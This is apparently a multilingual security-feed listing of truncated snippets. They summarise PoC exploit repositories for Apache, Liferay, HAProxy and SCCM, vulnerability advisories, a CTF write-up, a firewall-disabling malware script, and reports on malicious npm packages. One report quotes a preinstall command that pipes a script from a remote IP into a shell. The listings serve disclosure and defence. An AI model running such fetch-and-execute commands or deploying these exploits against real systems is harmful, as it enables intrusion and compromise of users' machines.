sccm_sql_backdoor

sccmsqlbackdoor Uno strumento proof-of-concept che impianta una backdoor controllata in una stored procedure di Management Point, consentendo l'esecuzione indiretta di SQL tramite un legittimo servizio HTTP MP. Installazione Puoi installare clonando il repository e installando le dipendenze...

CVE-2021-42013

CVE-2021-42013 — PoC: Path Traversal + RCE via modcgi bypass della patch Solo per uso in ambienti controllati e propri. Non usare contro sistemi senza autorizzazione. Descrizione PoC sviluppata per dimostrare CVE-2021-42013 , presente in Apache HTTP Server 2.4.50. Questo CVE è il bypass della pat...

CVE-2021-41773

Exploração de Path Traversal e RCE no Apache CVE-2021-41773 & CVE-2021-42013 Estas são vulnerabilidades críticas de path traversal que afetam o Apache HTTP Server 2.4.49 e 2.4.50. Elas permitem que atacantes: Acessem arquivos fora da raiz web LFI Obtenham Execução Remota de Código RCE se CGI...

CTF_WRITEUPS-TryHackMe-CVE-2021-41773-

CTFWRITEUPS-TryHackMe-CVE-2021-41773- CTFWRITEUPS/TryHackMe /CVE-2021-41773/ CVE-2021-41773/42013 Una piccola spiegazione di un bug di path traversal di Apache e di una correzione incompleta Task 1: Un po' di contesto... Una breve storia Il 5 ottobre 2021 è stato rilasciato un CVE che descrive un...

EUVD-2026-68038

Traffic interception vulnerability in BOSH Director vCenter CPI allows attackers positioned between BOSH Director and vCenter to impersonate vCenter REST API and capture administrator credentials via HTTP Basic auth, leading to complete virtualization infrastructure takeover. An attacker who can...

CVE-2026-41012

CVE-2026-41012 is a traffic interception vulnerability in BOSH Director vSphere CPI (all versions prior to v98.0.6 ) caused by insufficient certificate validation and pinning in the communication between BOSH Director and vCenter. An attacker positioned between the two can impersonate the vCenter...

Malicious code in vs-modules (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector dcd50c73d1e9bbca9b707d80936562866b7469239c038a540c02a9f43efedb57 package.json declares a preinstall hook that runs node resources.js, which fires automatically on npm install. resources.js is heavily obfuscated wit...

xepor

Xepor Xepor pronounced /ˈzɛfə/ , zephyr is a web routing framework for reverse engineers and security researchers. It provides a Flask-like API for hackers to intercept and modify HTTP requests and/or HTTP responses in a human-friendly coding style. This project is meant to be used with mitmproxy...

EUVD-2026-67937

A buffer overflow vulnerability exists in the embedded HTTP service in TL-WR841N v14 when processing multipart/form-data requests. Insufficient validation of an attacker-controlled boundary parameter may allow a remote unauthenticated attacker to submit a crafted request that corrupts memory by...

malvinci

malvinci Dieses einfache Skript stellt eine neue Art von Malware vor, die die Firewall deaktiviert, einen HTTP-Server startet, dessen Port über ngrok weiterleitet und die URL des Servers über einen Telegram-Bot sendet. Du musst einen neuen Telegram-BOT erstellen. Befolge die Schritte hier, um ein...

Malicious code in firestore-lite (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 3242d5a15b769961bcc2e6d24747a7da27e2afd293ea83e6b042eceeb4b97de2 package.json declares a single dependency whose value is a bare HTTP URL https://repo.securityctrl.com/firestore-lite rather than a registry version...

MAL-2026-15534 Malicious code in firestore-lite (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 3242d5a15b769961bcc2e6d24747a7da27e2afd293ea83e6b042eceeb4b97de2 package.json declares a single dependency whose value is a bare HTTP URL https://repo.securityctrl.com/firestore-lite rather than a registry version...

MAL-2026-15519 Malicious code in qbo-ui-services (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 7391c0f366c6339b3c6c75a1e891d1123cc4483ba3c01eedc20ebbbe3dfc48a7 package.json line 11 declares a self-referential dependency whose source is a bare HTTP URL rather than a registry version range: "qbo-ui-services":...

Malicious code in qbo-ui-services (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 7391c0f366c6339b3c6c75a1e891d1123cc4483ba3c01eedc20ebbbe3dfc48a7 package.json line 11 declares a self-referential dependency whose source is a bare HTTP URL rather than a registry version range: "qbo-ui-services":...

Malicious code in katal-logger (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 8ff7c110d8766d130db16799f1875e420bdaba20866624b593a209ace7a49d6a package.json declares a dependency whose value is a bare HTTPS URL https://repo.securityctrl.com/katal-logger instead of a registry version range. On...

CVE-2025-3639

CVE-2025-3639 PoC - Bypass di Login Liferay Portal/DXP Questo repository contiene un Proof of Concept PoC per CVE-2025-3639 , una vulnerabilità di bypass del login in Liferay Portal versioni 7.3.0–7.4.3.132 e Liferay DXP varie versioni da 2024.Q1 a 2025.Q1.6. Il PoC dimostra come un utente non...

Malicious code in grafeno-auth (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c3c99ded091548bc464635b9c1151368873851c4a97036279f46f74b5c7ca59a package.json declares a preinstall hook that shells out via node -e / childprocess to curl http://216.126.236.46/x.sh over plain HTTP and pipes the...

MAL-2026-15505 Malicious code in grafeno-core (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 19a2990abd7b4447444a42f96636f738449235f9d8760191978e904d028c759e The package's preinstall lifecycle script runs curl -s http://216.126.236.46/x.sh | sh at npm install time, fetching and executing an...

CVE-2017-15220-vxsearch-rce

CVE-2017-15220 – Overflow del buffer remoto in VX Search Enterprise Vulnerabilità di overflow del buffer remoto in VX Search Enterprise 10.1.12. Dettagli della vulnerabilità CVE: CVE-2017-15220 Prodotto: VX Search Enterprise Versione: 10.1.12 Impatto: Esecuzione di codice remota Descrizione VX...

CVE-2021-40346

CVE-2021-40346: HAProxy HTTP Request Smuggling - Bypass ACL Panoramica Questo progetto dimostra CVE-2021-40346 , una vulnerabilità critica di integer overflow in HAProxy che consente attacchi di HTTP Request Smuggling per aggirare i controlli di sicurezza. Punteggio CVSSv3: 7.5 Alto Collaboratori...